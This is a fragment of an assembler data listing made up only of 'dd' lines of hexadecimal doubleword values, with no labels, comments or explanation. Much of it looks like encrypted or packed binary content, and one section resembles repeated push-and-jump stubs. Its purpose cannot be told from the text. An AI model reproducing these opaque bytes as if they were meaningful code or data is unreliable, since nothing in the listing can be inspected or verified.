		dd 4A584347h, 981B911Fh, 6AE34701h, 0D6770EF0h,	2EC0A503h
		dd 0B055C385h, 0DA8FD9E2h, 5A5E4E5Eh, 2F892BD6h, 5731B65Eh
		dd 309F24CAh, 1A5C80B4h, 6E194F74h, 1AEB8721h, 0B61B4D72h
		dd 0F573DEDFh, 1F26FBBh, 9B4EF70Fh, 64896CF1h, 463C4760h
		dd 7A30EAFh, 120C1523h,	0B4D483F5h, 11FFEF6Ch, 486D01FDh
		dd 0D5DABD00h, 0AC2505B3h, 10FD11FFh, 0D0043845h, 0E19B5F66h
		dd 11FFD049h, 0C3B92CFDh, 0FEB8ABFFh, 2666876Fh, 0FD11FFADh
		dd 1E2A4413h, 0FD11FF85h, 0A3906CFBh, 1F705D99h, 8356h
		dd 85F0E100h, 0D7914B67h, 0DA5B4904h, 74540635h, 770DFBDBh
		dd 48C16921h, 0B4770DFBh, 0CEDE5A21h, 750C244Bh, 5C4D23C2h
		dd 0D3A934B9h, 0BA4B67F2h, 0A0492AD3h, 0B2D6BD28h, 0CA7482Fh
		dd 0E0D5DC5Ch, 40F46901h, 45000003h, 0CE5331B6h, 7DC0842Dh
		dd 0EF72169Bh, 1FE2E607h, 9113717Ah, 5A5F3066h,	2ECFA336h
		dd 0BC45D7BAh, 0DB24528h, 0A880065Fh, 7108A82Fh, 5A78FB8Dh
		dd 30Bh, 0A5491Ch, 2CA71D48h, 0AF47442Ah, 129A30Eh, 770EF084h
		dd 0EF0DCF9h, 0F0B55177h, 8D0A770Eh, 0E2770EF0h, 770EF065h
		dd 2D4AE3B4h, 81AD6ADBh, 986F07F0h, 0F874966Dh,	0E6B33D0h
		dd 7107E6B7h, 3843EC48h, 0A342FCBAh, 2ABF29D2h,	0D93A7E4Eh
		dd 61F4B50Bh, 0B7354067h, 70E941FBh, 0CCB1097Ah, 338F7819h
		dd 0BCA31510h, 58A286C0h, 0A1AF0C65h, 43C326FEh, 0FE52C46h
		dd 4600A336h, 0B26D531h, 285EE63h, 71000000h, 0E8B5184Ch
		dd 56388DC3h, 0C2AA3FADh, 35DAAF3Dh, 0AB6AD88Ch, 0F3911AFFh
		dd 67658A6Eh, 95FB0092h, 4486D00h, 74ED3D7Dh, 0C87108A7h
		dd 432ABB38h, 0F040D971h, 0D1BC770Eh, 0B82DBF44h, 9006462Dh
		dd 0F0D972D6h, 0B027770Eh, 4A652BEFh, 3AB64B77h, 0CAE4028Dh
		dd 0BFF5C7Eh, 4107D275h, 0F3911AFCh, 2BCCA045h,	0BA3FDCA1h
		dd 5A3C512Fh, 0A0741951h, 5E184D1Fh, 7FE51CAh, 0BC38AF71h
		dd 0F2F09B2Ch, 0C16A94B4h, 5D06F05h, 3D1AB747h,	85F0770Eh
		dd 0D1FF4B67h, 4F750BFEh, 680FDE98h, 0DD970147h, 7FED44Dh
		dd 69926471h, 762B6A7Fh, 0D0C3FAA6h, 308C1BD3h,	7D35BA5Dh
		dd 0EBFD06E8h, 0C26A02FEh, 71084735h, 12AC4A35h, 64380D41h
		dd 522E5583h, 0EAFA3414h, 95406F05h, 436408DDh,	0A6E05C09h
		dd 0F38F30C7h, 0F0817E12h, 0E6427CCBh, 770E626Dh, 0C4A804D3h
		dd 61199E71h, 0BD0FEE8Ch, 3DAC3C1Dh, 5434B01Fh,	0ECAFF8Ch
		dd 2A0EB77h, 8CBAC464h,	8D47750Ch, 89024BDh, 77CD9871h
		dd 18A1735Eh, 4800A575h, 15F8B61Dh, 9A6F7D82h, 1C9AF2F3h
		dd 5873397Bh, 0D8548E0Dh, 0E886246Fh, 6361A40h,	6835986Fh
		dd 4C94F443h, 770EB5CFh, 0A5B3E75Dh, 996D179Fh,	1F58h
		dd 0C4641E00h, 770EB94Bh, 0D54E2AB1h, 0EFBF26Fh, 107277h
		dd 93440000h, 25AF5946h, 0B1328EE1h, 0EF6F26Fh,	85F0EC77h
		dd 8405E5ADh, 13FE11B3h, 75FA9D57h, 9E079EF4h, 0D8FAD2AEh
		dd 56750C39h, 6E06E783h, 0EE4A1F49h, 0A375189Eh, 0DE34E1Eh
		dd 14A319E4h, 752F4B69h, 0B1F66FBBh, 9F4A7108h,	0AF2B0921h
		dd 42096F0Bh, 0D62A6D23h, 875A32E6h, 0B7h, 2ABE3FD2h, 5F0DB647h
		dd 0C99F24CAh, 796F9064h, 0EAFE0394h, 0E889DD18h, 58388DC3h
		dd 0CEAC3157h, 3BD2A725h, 0B8FD6BAh, 8A6A63Fh, 896A1A71h
		dd 4B6785F0h, 0DA73D791h, 26770EF0h, 0F31535B3h, 49750CB2h
		dd 0D2BDCA82h, 3FE09AD4h, 0BD7B861Ah, 0A53E6E98h, 1B71088Dh
		dd 92B6F04Ch, 6F0B8494h, 4E7C37A2h, 93E6D678h, 4966FBh
		dd 0AD4C0000h, 24F14408h, 9264C99Fh, 0FE967B69h, 7106EBF9h
		dd 6FAE0448h, 3FAD563Bh, 0A321C6AAh, 0D1B73CDEh, 4004A94Ch
		dd 38D17931h, 847108A5h, 145A77F4h, 1C000000h, 4606AB49h
		dd 6ED16FBh, 209EC171h,	77CD1466h, 2A8003FCh, 5B26A647h
		dd 0F45933B4h, 66CB9D26h, 967B6D92h, 0D90F801h,	0B805476Ch
		dd 0D4B9D3D4h, 422FB942h, 0B4008B1h, 5585450h, 4, 8704E883h
		dd 685C2404h, 0C2h, 57240489h, 0C781E789h, 4, 4EF81h, 3C870000h
		dd 0C895C24h, 23BD5524h, 5338C367h, 0D252FBBBh,	7307B83Ch
		dd 0D8310217h, 5DE8315Bh, 8904EC83h, 4812424h, 424h, 0BA525900h
		dd 8, 8953CA01h, 5B1A89C3h, 2434FF5Ah, 4C48359h, 582434FFh
		dd 0E904C483h, 0FFFD311Dh, 853425DCh, 84A50AF1h, 3D1C7EFAh
		dd 64BD4B8h, 8BC50306h,	9E8C8h,	2D740000h, 67D4613Fh, 6629E77Eh
		dd 0F624F281h, 58F0F5Bh, 66000000h, 40A6D081h, 63CFC381h
		dd 0D08B0000h, 18CBBEh,	0F50B8B00h, 4A91E981h, 0FE93E76h
		dd 0E000000h, 0BD9910A7h, 0CFA91CAAh, 3D95FA85h, 0C18169BCh
		dd 2F9D3478h, 38B0Fh, 0E4800000h, 0ABF18194h, 0F5C980Ah
		dd 68Dh, 0FFCF8100h, 51697C82h,	188D0Fh, 66600000h, 0DE8C88Bh
		dd 0DC000000h, 6441DB89h, 4050C793h, 7A94679Ah,	38F615Eh
		dd 3830Fh, 0BF0F0000h, 4EB83C3h, 9E97DA81h, 0EE835BEFh
		dd 86850F01h, 81FFFFFFh, 41C5D8C0h, 0D9E930h, 1D200000h
		dd 0C12C0FBEh, 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh
		dd 0D352C55Dh, 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h
		dd 0B8009CACh, 64F7F691h, 389382CDh, 3C000000h,	40000000h
		dd 94000000h, 5000000h,	1000000h, 28000000h, 200000Ah
		dd 20h dup(0)
		dd 3C000000h, 0E916C1EFh, 1F42h, 6503468h, 2F6FE906h, 3268FFFDh
		dd 0E9060651h, 0FFFD2F65h, 6521168h, 2F5BE906h,	0F268FFFDh
		dd 0E9060652h, 0FFFD2F51h, 653DA68h, 2F47E906h,	9268FFFDh
		dd 0E9060654h, 0FFFD2F3Dh, 6557E68h, 2F33E906h,	3868FFFDh
		dd 0E9060656h, 0FFFD2F29h, 65A2D68h, 2F1FE906h,	0AD68FFFDh
		dd 0E906065Ah, 0FFFD2F15h, 65BCC68h, 2F0BE906h,	0C168FFFDh
		dd 0E906065Eh, 0FFFD2F01h, 661DE68h, 2EF7E906h,	3A68FFFDh
		dd 0E9060665h, 0FFFD2EEDh, 6667F68h, 2EE3E906h,	0D268FFFDh
		dd 0E9060666h, 0FFFD2ED9h, 6672468h, 2ECFE906h,	8868FFFDh
		dd 0E9060667h, 0FFFD2EC5h, 6687E68h, 2EBBE906h,	0D468FFFDh
		dd 0E9060669h, 0FFFD2EB1h, 66AE468h, 2EA7E906h,	594FFFDh
		dd 7C19ECE0h, 0EA8C1177h, 563E83C1h, 0C9AE3351h, 17C6AC20h
		dd 4705AE43h, 0CB991EF2h, 796F9466h, 0E8FC0194h, 0E079D1C9h
		dd 5C7108A2h, 432ACFACh, 0B0472AA2h, 524823F7h,	0BB433385h
		dd 0D2B61DE8h, 0B2CCEA95h, 115CC096h, 0E1EB7E75h, 0B3CBC59h
		dd 80D44871h, 0F0E632E5h, 89B4E28Bh, 0C5FC0033h, 0F4A79369h
		dd 0B361B800h, 0A2B834D5h, 4Ah,	155E01DDh, 0DFAA76D4h
		dd 7D08B70Dh, 55E7437Fh, 0AC7511D5h, 0AA4F3CD9h, 0B7024701h
		dd 3DDDB0D5h, 3FB5D0B8h, 0F11973E6h, 710BB554h,	4D386CD0h
		dd 2F8FC28Ah, 6ECA8E61h, 69E13F45h, 1153893h, 0EF7E0000h
		dd 0E1E4E40Dh, 4701880Bh, 0F024BD8Dh, 0CD98770Eh, 0EF042DBh
		dd 4D2BBE77h, 38505538h, 0AD3FC455h, 72731AEBh,	0FBFC93F6h
		dd 44690C91h, 4CDC9600h, 770EF0D3h, 0E6C6A229h,	770EF4AAh
		dd 0DCB035D8h, 76D2A649h, 770EECDDh, 9129B423h,	5C6536D7h
		dd 0EECD34Ch, 0C6A22977h, 787601A6h, 10E1843Eh,	7F1CE1EBh
		dd 0E877127Ah, 0ECE17ACEh, 885F770Eh, 0FD921C2Ch, 1EEF7511h
		dd 7613757Ah, 580CDBFAh, 2846642Fh, 0B430B545h,	8E202EFAh
		dd 14F96F09h, 7B6E7E83h, 25C9A4FDh, 0C37D3580h,	84DEE67h
		dd 76771E77h, 722C885Fh, 97F5FE93h, 32B74429h, 0B53ED3B6h
		dd 0D5ADD7FAh, 8F422AE6h, 1C55h, 167A7B1Eh, 9BC9F283h
		dd 355B6036h, 0A52BCCA0h, 0D6BA3FD0h, 24F5A15Ch, 9464C99Fh
		dd 0AE87D13h, 771EE3E1h, 47431276h, 8A06AE3h, 4526D671h
		dd 9E6F452Ah, 3BD4F4FDh, 81770EF0h, 9F194FDAh, 0A74928CEh
		dd 9DDF0A70h, 0A94C03EEh, 32C5A804h, 1A4DF8Dh, 0F06AE347h
		dd 0FBD6770Eh, 93F69617h, 741FA804h, 0F10C85A5h, 2F70770Eh
		dd 6659DE58h, 0AF3A8107h, 92865913h, 41981F0Ah,	0E395B533h
		dd 59751146h, 9532DAB2h, 93710B48h, 657F79ADh, 629369AAh
		dd 0ACh, 0A2432A9Dh, 9B2472Ah, 0F55BB75Fh, 8669770Eh, 0ECFD96B2h
		dd 9443770Eh, 1FF65B09h, 0CEB9CE9Eh, 28B296D0h,	167511FEh
		dd 39742743h, 7F4C4A05h, 0B36D01FFh, 0D02126F9h, 0E63C4742h
		dd 0BE12DA6h, 68C49371h, 7836B4DFh, 97CB3D0h, 1C5A016Fh
		dd 14FBA849h, 0FD400493h, 0CFDC971Ch, 12E6D5ACh, 1B57E77Ah
		dd 79180000h, 0F08D1074h, 5E3085CBh, 0CAA23755h, 3DD2A725h
		dd 0A352D0B4h, 0CB9922F7h, 7F6D9266h, 0EDE308EAh, 1C707518h
		dd 6CE54545h, 0D071089Fh, 452A4320h, 0B24528BCh, 6FBB750Dh
		dd 770EF0F6h, 56496E06h, 12412583h, 4A2432Ah, 926E9361h
		dd 878017FAh, 5B6036EFh, 62C95431h, 0E76B5F6Eh,	0A6601E9Ch
		dd 0F0C35CECh, 0A575770Eh, 0DE5A0100h, 120918CEh, 0A4C39675h
		dd 819C9384h, 7E1FEEE4h, 0FA761375h, 0B85C424Dh, 0A5305537h
		dd 1798780Dh, 721A9F70h, 25DF9917h, 20FDAE40h, 95C0C9Bh
		dd 0BD259BB3h, 0A144BA84h, 70512FD4h, 0EF7A7F1Dh, 5B6032D3h
		dd 8FFA8DDDh, 0B9F15911h, 7B883C6h, 0A0771650h,	0EE82631Fh
		dd 0ED21A8C9h, 0A0CC7942h, 3ADDA0C4h, 0C9E3FAB5h, 0AE3E5C5Eh
		dd 1A78B3h, 57583B00h, 2ACFAC31h, 0B43DD3A6h, 4A94DD0h
		dd 971CFD40h, 96C473F1h, 194F801h, 0B5184C71h, 3B8EC2E7h
		dd 643D5354h, 9E8D0622h, 41F37108h, 68432AA2h, 0DF5D14CCh
		dd 0E3E5704Bh, 2BC3B9C4h, 3887C28Ah, 0E10AEF7Eh, 9EFE2E7h
		dd 0FE4A04E0h, 7511BF94h, 0E089DF8Ah, 0D6B7710Ah, 0F891BB40h
		dd 44710B9Fh, 9F6DE642h, 4D3710Bh, 0A1462AB9h, 79C6A227h
		dd 72D6900Eh, 6F0EB89Ch, 18304F1Ah, 0B39F3D00h,	52CB5F19h
		dd 0AEAF5DD0h, 39C2543Bh, 6B89F443h, 75C2954Fh,	0ADF97EE9h
		dd 0F3B88E1Ah, 0FA41F27Ah, 43F36CBCh, 8249AF5Dh, 50B00626h
		dd 3BAEAD60h, 2C07EE7Fh, 65918D10h, 0D1BB0621h,	175038B4h
		dd 18304E6Ch, 0B35F3EE0h, 1EEF8B5Eh, 8F127677h,	23ACC7E8h
		dd 0F62162ECh, 1997FB16h, 39D80000h, 0B04DD0B4h, 1EF0450Bh
		dd 8A62F795h, 0FD926765h, 0E31290F4h, 8BD9E2B7h, 3FAD5226h
		dd 0AD23C8AAh, 0DCB035D8h, 0AC250585h, 1071089Eh, 432A8360h
		dd 20DFF168h, 4B08A952h, 0C18B166Bh, 0A5DDDBA6h, 4DBD28EBh
		dd 0ED005ACEh, 0F1753717h, 1CCB7510h, 573FCE48h, 0A8803656h
		dd 710AF92Fh, 0F573DE8Dh, 4B0C8D54h, 0FE781C79h, 1CE8EF7Dh
		dd 2642BEC3h, 0D5A00FE5h, 0D8A7482Fh, 0E8D48A9Eh, 7F526F0Eh
		dd 13761697h, 0F45FE984h, 0B0AA78Ah, 3A60F951h,	90DA66h
		dd 0D9F8EDFFh, 7E09B632h, 0D1A74660h, 58124C28h, 3B118A9Eh
		dd 0F86FDA66h, 47D62C7Ch, 8154D869h, 4D5A0C7h, 634BAB24h
		dd 0FF4A11DCh, 744F67C3h, 6AF1DA66h, 0D1D6B94Ch, 0FF4B05B3h
		dd 0DA665366h, 0DCB10FDAh, 8EFDB439h, 537A7B93h, 18AFA6BBh
		dd 21F00000h, 9865C89Ch, 6E87D13h, 721AEFFDh, 0E58A1F4Dh
		dd 0FB3A88DCh, 0A321CAAFh, 0D7B53ADEh, 450BB042h, 0F4981DF0h
		dd 0C45DEDADh, 3871089Dh, 6C01EB88h, 0FB4F6B8Ch, 770EF062h
		dd 0D8AD0BDEh, 0AFD8B035h, 80A8C6E4h, 7511F672h, 0A91775E0h
		dd 7C1535EFh, 0C0710BD5h, 0D59A3315h, 73E6710Bh, 0E19154F5h
		dd 0A45E1896h, 308C31C1h, 0EEE4218h, 5D15C06Fh,	0C0C6A3BAh
		dd 9410E8D9h, 436C4FD9h, 2752AA51h, 0E359F189h,	677CF27h
		dd 916F9067h, 4A325B0h,	0EB3F7B79h, 79D053D3h, 2DC0FE6Dh
		dd 39D2764Ah, 8779CBF3h, 0B20745D0h, 629BDADBh,	0FF1B91F3h
		dd 17F7F26Fh, 0D9B80000h, 502DB0D4h, 0BE5025ABh, 2AC25735h
		dd 9D72C785h, 43F27014h, 6B798217h, 9FCDF286h, 0D43680Ah
		dd 0BCD0D5B8h, 0C85A5E5h, 7071089Dh, 432A23C0h,	0F29D2AA2h
		dd 5F00BAF4h, 8A09ABA8h, 67473D67h, 7511F45Dh, 350BECC3h
		dd 0BB37C15h, 8E15C071h, 261CAD23h, 9FDBD9A4h, 0ECCD58Bh
		dd 0E984536Fh, 0C750815Fh, 3DDE9807h, 9705A164h, 57F0D8A5h
		dd 0E9E34692h, 0E2E7E106h, 8B2CCCA3h, 433984C1h, 4F6B89F4h
		dd 499F85FBh, 9AD483E1h, 0CA8223CBh, 7D6F9067h,	47279D68h
		dd 0CEAF5520h, 38DEA325h, 218CD9B3h, 6E7B1C5Ah,	2FD4A58Dh
		dd 269728BDh, 0B9F74DD5h, 46F35991h, 3670E7DFh,	0E3EFDB7Ch
		dd 0D5E27BCFh, 8B5EE346h, 0EE8BC7F6h, 17987F12h, 4F26C771h
		dd 533EBF56h, 0BDD0AC39h, 7B9AD5DAh, 6751B88h, 170BEB66h
		dd 0C5540000h, 3CD9AC20h, 0AA4CD1B7h, 16FE4301h, 896EF391h
		dd 57866C60h, 7456E03h,	8BD9DEB2h, 39AF5426h, 0A83CC154h
		dd 20B99109h, 9C71089Bh, 6C010FECh, 6366668Bh, 8F658E6Ch
		dd 0D49213FAh, 0B5E6331h, 82EA4667h, 621C9AE5h,	0CAB86C6h
		dd 556DF875h, 9ED8DDB0h, 0C08728CFh, 86C3852Eh,	8DB6462Ah
		dd 657108A4h, 0DB30571Bh, 3E27A088h, 0C6957108h, 4643E5B1h
		dd 6D0095FBh, 206B0448h, 7401E482h, 2E481D4Fh, 835811Ah
		dd 8C68FF71h, 0F11676D2h, 0FD686F05h, 0A84D20C5h, 5126A520h
		dd 0CFA520A8h, 9A1FFC91h, 699263F6h, 0FAFB927Fh, 0D3F86EBBh
		dd 865B33E6h, 1651h, 6A7E7F12h,	9FCDF687h, 95F640Ah, 0B92FD0A4h
		dd 2ABE43D4h, 28C99D58h, 9878CD83h, 0EEC7117h, 7B12E7E5h
		dd 4B4F167Ah, 89A66FFh,	492ADA71h, 4B6785F0h, 0CAB9FFFh
		dd 0ACCA9175h, 0D3B136D9h, 0CD00EA94h, 757E1C7Bh, 5D217613h
		dd 64FD4D40h, 0D8710835h, 9FDBA60Dh, 835FE8Bh, 0FDEF7A71h
		dd 835B755h, 9BCF7571h,	8B7805E8h, 127AC1EAh, 78C7E88Fh
		dd 3571EA3Eh, 18CF7108h, 938D979Ch, 744A9366h, 30000000h
		dd 0E726866Fh, 516A0Ah,	0A8B60A35h, 3EB53374h, 486686F0h
		dd 522ED3A5h, 0F08F3414h, 86ED770Eh, 4462C9EEh,	77701E93h
		dd 33898F22h, 6F16B35Bh, 482E770Eh, 0B74429A3h,	24185A32h
		dd 13F46F0h, 0CBC1DBDDh, 31E2996Ch, 0E1D785BAh,	0B7EDC099h
		dd 0DFA67304h, 18ADAF05h, 0CE000000h, 0EF0F16Fh, 30AED977h
		dd 0E6B8D276h, 8C617511h, 566FC5EEh, 0F096CD83h, 0BA4B6785h
		dd 0AF2800D8h, 0D770EF0h, 0CC99F35Eh, 84123670h, 0D5751208h
		dd 0C8960F1Bh, 7FEA710Bh, 5335A081h, 0C28627CEh, 7517987Fh
		dd 0A82109C3h, 14710BC8h, 0F186EB41h, 5C3D80C8h, 0CBA83557h
		dd 37DBA626h, 0C60AC6B6h, 119670BEh, 967DCD5Ah,	7D3559D7h
		dd 0A35D159Ah, 0B390E87h, 9E77271h, 0F8FD9065h,	0F6ACD790h
		dd 98CD9F24h, 0FC90750Dh, 78F491FBh, 5C20EA3Eh,	4B1E6F0Eh
		dd 0D8DDB005h, 8627CF9Eh, 53C740E8h, 0A635770Eh, 0DE9AA2CAh
		dd 302F1CF4h, 0FF96A8FCh, 7007EAFEh, 0DCB01D4Fh, 4B2CB1DBh
		dd 0BA5B26A6h, 48F45731h, 48C16904h, 0B4FED8B6h, 0D3D15A21h
		dd 9F20F78Fh, 880129E3h, 0F4FED8B6h, 12E78B61h,	55127A7Bh
		dd 0E1A2742Ah, 0E7E2EA0Fh, 8E157018h, 0BBFA58F0h, 0ED78FCDBh
		dd 0E1E502D5h, 0FF15854Eh, 0D9E2B22Bh, 0CC5B0EF8h, 0E6891C70h
		dd 563A87C1h, 0C8AA3751h, 36C4A923h, 0D448DB8Dh, 0B9773680h
		dd 0EC3CF695h, 0F8D9E273h, 0C3A602C9h, 70C58B2Ch, 3770189Dh
		dd 3CC5564Ch, 8F34C1ACh, 563D88DDh, 0DFF63018h,	6944F6DCh
		dd 7C696388h, 876EF391h, 0E3FC95B5h, 9540FED8h,	19B65E0Eh
		dd 3E0ED8E4h, 0F184DE02h, 0F15C6134h, 0BF6C0E93h, 0A82109DBh
		dd 140ED8E3h, 7D6FFA41h, 92FAFF90h, 87DF0331h, 3598CCF5h
		dd 0D3D8BA67h, 7412CB9h, 961BFC91h, 1E9F771Ah, 200BE34Eh
		dd 69DE8ADDh, 5335807Fh, 977926CEh, 6DC58712h, 9A2D6DB1h
		dd 5A3872A6h, 0A7741951h, 7FC2A602h, 3374149Dh,	790CAA48h
		dd 0E10AEC99h, 9917E2E7h, 0A86B25DFh, 83E58D84h, 6BE42457h
		dd 9D0ED843h, 0F491FB00h, 0D44DDDDDh, 280ED843h, 725AD6BDh
		dd 0CDB5BE4h, 24F96235h, 0E08FB82Ah, 0D984CF48h, 0D3BE2D08h
		dd 0FFE97C55h, 0D294B8F4h, 40D5BB40h, 0D64008ADh, 0B5D6637h
		dd 0E88FE25Eh, 1E0685C7h, 27E19BCAh, 0D9848A03h, 2963F608h
		dd 8D984B0h, 660A590Ch,	0EF86EB41h, 0BE8A5E36h,	8D98425h
		dd 6761CC9Bh, 32F19762h, 2B37E62Ah, 2A25h, 482A5600h, 0F39E29A3h
		dd 0D36DBDF5h, 697511F6h, 413C4E2h, 30B95F3Dh, 0AF424E6Fh
		dd 67948115h, 0C1BF0A5Bh, 20A8ADh, 2ACB0000h, 6F29A348h
		dd 67CA1EACh, 8460C57Bh, 1452503Bh, 0A01CA171h,	0B1E442E6h
		dd 87527511h, 6C0192C1h, 60656788h, 8864896Dh, 0B6C14921h
		dd 9EF7E38h, 0F07E1733h, 17C2770Eh, 2F85C088h, 903D971h
		dd 0DA817512h, 0D3148D9Fh, 93FE9C9Eh, 0EB885D15h, 1C2C6AC6h
		dd 8261C5A6h, 105731A4h, 2DDEBF65h, 4CDBA64Bh, 0EDDE1632h
		dd 0F560805Eh, 734528BDh, 0DDF891B9h, 9144845Eh, 5EDE1EB7h
		dd 68F76284h, 472BBA64h, 0A72008A6h, 15845EDDh,	0F087EA46h
		dd 1D69B4CFh, 5C2C1463h, 125C81h, 73740700h, 0C6EB881Dh
		dd 50593F82h, 20C5A93Ch, 0B338D9ACh, 0F2A857DDh, 6DF0941Dh
		dd 9164688Dh, 7EAFE03h,	78194F70h, 9671EA3Eh, 3DCF7108h
		dd 896C01BEh, 27A08864h, 0F2770EEFh, 4BAF2621h,	0F256FB66h
		dd 770E5C59h, 0CFA530A7h, 0DB971560h, 117DD54Fh, 518B4C75h
		dd 9E92D024h, 0F7624339h, 0A3482ABBh, 31BA582Dh, 0B23EE157h
		dd 0DF89DF40h, 4C234622h, 5FCB08ABh, 0F696E0D0h, 11DC1Bh
		dd 0F3F48700h, 466B089Dh, 0D0D9BF02h, 0A04529BCh, 33B8592Ch
		dd 7228D75Dh, 0ED70149Dh, 11E4E80Dh, 876A7E83h,	0F899CFF0h
		dd 96F16ABEh, 0BD4F7108h, 6785F03Eh, 73D7914Bh,	770EF0DAh
		dd 53F7B326h, 770EF0BAh, 0F5D55306h, 7512115Bh,	0E97C3AA1h
		dd 1CE1E70Ch, 8F127A7Fh, 0DE85C7E8h, 19D3B2E6h,	0BC99831h
		dd 0FB71E471h, 0E8FC0596h, 48C26C1h, 593AC9E4h,	72103850h
		dd 71710BC9h, 0B441194Dh, 0EDF590Fh, 4005476Ch,	4A7E2B3Fh
		dd 8F650BC2h, 0F89019FAh, 2ACBAF3Eh, 1896E14Eh,	0A916CA5Eh
		dd 0C5906F09h, 7A12F3ADh, 0FA761375h, 0E9FF0097h, 1C4C7104h
		dd 0E482206Bh, 75CC544h, 0E5895C75h, 9E4D64C0h,	0B54726E0h
		dd 1ADE89C6h, 15E0A1C9h, 8223CA9Fh, 0C0947BCEh,	0B54EF68h
		dd 339E4D71h, 10FA477h,	9021C6AAh, 0FFBB6210h, 0B93B22Bh
		dd 0DD5B0E71h, 118FFA8Dh, 128B9F59h, 6E710B94h,	89437DFBh
		dd 93E27BCFh, 8B5E710Bh, 90EF1D2Dh, 0FE6D6F0Eh,	0D3508CC7h
		dd 0A4B951E6h, 10BDh, 0FE9213E6h, 63618A6Bh, 9DF3F89Eh
		dd 0D436408h, 0BED2D7B8h, 0BC5D0934h, 2CCC5137h, 0A270C58Bh
		dd 0FE64B19h, 0DFDBFAEEh, 895D24Bh, 0DD9E2E71h,	0EF0ED6Fh
		dd 446D0F77h, 541C6700h, 1846A66Dh, 87CE89D8h, 422ED8F9h
		dd 0CF902EB5h, 813FADBEh, 104E2AD1h, 0C819138h,	0AC920F75h
		dd 0F5690509h, 7A0BA732h, 7A796F94h, 0ED567074h, 19B6F99h
		dd 0F0880000h, 18C6187h, 0EF0AB29h, 403DA877h, 0CEA64701h
		dd 7BD05329h, 0C6543954h, 6C941DF7h, 0CA51A41Ah, 83F0F56Eh
		dd 0B32CFCB6h, 9770EF0h, 0F0D14A42h, 0B82F770Eh, 0E467502Dh
		dd 0FB9888F0h, 64F396F6h, 1FB8904Ah, 9D770EF0h,	1F172CEh
		dd 8D6B8C6Ch, 8074D3D0h, 23986D56h, 0B7E15670h,	0D2AE8205h
		dd 67C8h, 3ADFAE00h, 36B2D7B1h,	9D83F0BDh, 8B68F7FCh, 0F0AB2901h
		dd 9F6E770Eh, 91B9F1FAh, 770EF0F8h, 3A1B9144h, 0A07213AFh
		dd 0CEC711Bh, 19E4E1EBh, 470120A3h, 2FAAC694h, 572D5C86h
		dd 0BF442ADCh, 5BE55003h, 3D64FAC6h, 5E01CC47h,	0C189ED28h
		dd 0A00EEA5Bh, 455AC3h,	621C0000h, 0EF04DC6h, 3FDCB377h
		dd 0D2512FBAh, 0BD8D4701h, 770EF024h, 42DBCD98h, 0BE770EF0h
		dd 95E24D2Bh, 0F0E760C8h, 8655770Eh, 0F0C740E8h, 0A635770Eh
		dd 29015ADBh, 770EF0ABh, 1403DA8h, 0BF442A82h, 7472F1C6h
		dd 986D5680h, 377Fh, 88F0F800h,	29018360h, 770EF0ABh, 41244209h
		dd 0B74508ADh, 0B10F5A32h, 2A820132h, 0F1C3A049h, 0AD0BE4B7h
		dd 536B389Ch, 0CC9A3317h, 73E6770Eh, 2F5A7EF5h,	0D9000000h
		dd 0F9AA88F0h, 5CF3BA48h, 176CF5Ah, 0EF0AB29h, 403DA877h
		dd 492A8201h, 916706A0h, 1178C68h, 2ECFA647h, 0EF065FEh
		dd 0B00CDB77h, 6C016906h, 0F2F7998Ah, 8460CF9Ah, 0FFFE7391h
		dd 1B2FE9FFh, 770EF082h, 0F118B199h, 0F164770Eh, 0B3440BDEh
		dd 0AD0B5E0Eh, 6785F036h, 73D7914Bh
		dd 770EF0DAh, 1535B326h, 750CABB5h, 0E8A2DC8Bh,	0F14F7405h
		dd 90F4F99Ch, 730FADD7h, 0B03EFD92h, 0BCC7D1D3h, 1EF69560h
		dd 1E9ACF99h, 624FC860h, 3EAD7108h, 630F86AEh, 13017108h
		dd 0BFD3E9CFh, 418C9366h, 2F000000h, 0EF0F26Fh,	4A6B0277h
		dd 0F058F606h, 4530770Eh, 0AB36B75Fh, 10393B0Fh, 60F77512h
		dd 0EEE1B26Ch, 0EE403AFh, 7BCFF287h, 0F83F7124h, 97197Ch
		dd 0A7610000h, 0B110A83h, 51563A71h, 960DEB7Eh,	4B6785F0h
		dd 120919FFh, 26401775h, 580CB547h, 957A27F5h, 917C6Ch
		dd 0E9816CFBh, 0C8821B2Fh, 6BFE710Bh, 0BFCAFD8Dh, 65A18921h
		dd 0D36F0983h, 0F99B6A04h, 6B099CF0h, 16610646h, 5E4ADE98h
		dd 0D875074Fh, 0FD90750Dh, 6E0194F8h, 2E093649h, 20C8E0D0h
		dd 0DC82Dh, 0E708EB00h,	7A7F1CE1h, 0C4ED8316h, 54593D80h
		dd 27CCAD30h, 4614C3A1h, 0F14408B1h, 65C89C21h,	0EB7E1297h
		dd 0D4EDE304h, 92DD76D2h, 91237108h, 71432AD2h,	0F0FA93B7h
		dd 9346770Eh, 0EF020B9h, 62C99C77h, 62EBAC6Ah, 568D8371h
		dd 583F522Eh, 0AE963557h, 0A84D207Ah, 11D97A24h, 8281702Bh
		dd 0F0DA9728h, 89E3222Bh, 75FC0033h, 67FB996Ch,	0C1000000h
		dd 0B75E4B2Ch, 0A4335636h, 48CBA124h, 4B6785F0h, 11FD89FFh
		dd 4B288775h, 6FC2066Ch, 0FC4BDE60h, 56D8F9ECh,	924F5713h
		dd 0F25F0994h, 648D621Bh, 0F69A6164h, 0FE938C63h, 6BF693F5h
		dd 0BD3B4661h, 17945205h, 4FB164FDh, 0AD93B7F1h, 0EC6F0E7Fh
		dd 0B9E1F82Bh, 0A4001DA7h, 71AF148Dh, 3A5F640Ah, 8E151EB2h
		dd 492A99DAh, 0FC4C06A0h, 770EF063h, 0B75F32D9h, 43D6BA36h
		dd 0B75F09B2h, 770EF113h, 0C0565321h, 8F38AC3Bh, 60C8E604h
		dd 750CABC4h, 11CBE772h, 77119A7Ch, 1DF39612h, 9546F094h
		dd 0E4F1ED90h, 0EA69C77Fh, 0ED567074h, 0FD6F99h, 0F0880000h
		dd 18C6187h, 0EF0AB29h,	403DA877h, 547B8201h, 3FC05439h
		dd 0C25538ADh, 423EAB3Dh, 6583F0C1h, 1E46788h, 0E437875Eh
		dd 96D03B89h, 0E3119B2h, 74F06777h, 4825C3CBh, 80748102h
		dd 23986D56h, 1CF2AB42h, 0AEAC0897h, 2Ch, 6583F0C9h, 0AB290188h
		dd 9770EF0h, 8201E142h,	0DC6C442Ah, 770EF043h, 859C21F5h
		dd 0F1EA4BD6h, 0BF44D6B7h, 165A42C1h, 0D9000000h, 886583F0h
